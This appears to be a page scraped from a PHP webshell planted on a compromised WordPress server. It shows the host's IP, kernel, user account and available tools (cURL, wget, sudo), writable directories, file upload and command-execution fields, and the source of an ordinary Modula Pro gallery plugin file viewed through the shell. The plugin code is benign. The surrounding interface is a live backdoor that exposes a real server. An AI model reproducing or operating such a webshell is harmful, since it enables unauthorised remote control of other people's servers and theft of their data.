403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wondermakr.com/wp-content/plugins/modula/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wondermakr.com/wp-content/plugins/modula/includes/class-templates.php
<?php
namespace Modula_Pro;

use Modula_Pro\Utils\Helper;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Templates {
	public function __construct() {
		add_filter( 'modula_template_paths', array( $this, 'add_templates_path' ), 20 );

		add_filter( 'modula_gallery_template_data', array( $this, 'filter_class_helper' ), 20, 1 );

		add_action( 'modula_shortcode_before_items', array( $this, 'gallery_title' ), 5 );
	}

	public function add_templates_path( $paths ) {
		$paths[50] = trailingslashit( MODULA_PRO_PATH ) . '/includes/templates';
		return $paths;
	}

	public function filter_class_helper( $template_data ) {

		if ( isset( $template_data['settings']['filters'] ) && '' !== $template_data['settings']['filters'] ) {
			if ( isset( $template_data['settings']['filterPositioning'] ) ) {
				$horizontal_position = array( 'top', 'bottom', 'top_bottom' );
				$vertical_position   = array( 'left', 'right', 'left_right' );

				if ( in_array( $template_data['settings']['filterPositioning'], $vertical_position, true ) && ! empty( Helper::remove_empty_items( $template_data['settings']['filters'] ) ) ) {
					$template_data['gallery_container']['class'][] = 'vertical-filters';
				}

				if ( in_array( $template_data['settings']['filterPositioning'], $horizontal_position, true ) && ! empty( Helper::remove_empty_items( $template_data['settings']['filters'] ) ) ) {
					$template_data['gallery_container']['class'][] = 'horizontal-filters';
				}
			}
		}

		return $template_data;
	}

	public function gallery_title( $settings ) {

		$title = get_the_title( explode( '-', $settings['gallery_id'] )[1] );
		if ( isset( $settings['show_gallery_title'] ) && 1 === absint( $settings['show_gallery_title'] ) ) {
			echo ' <' . esc_attr( $settings['gallery_title_type'] ) . " class='modula-gallery-title'> " . esc_html( $title ) . ' </' . esc_attr( $settings['gallery_title_type'] ) . '> ';
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit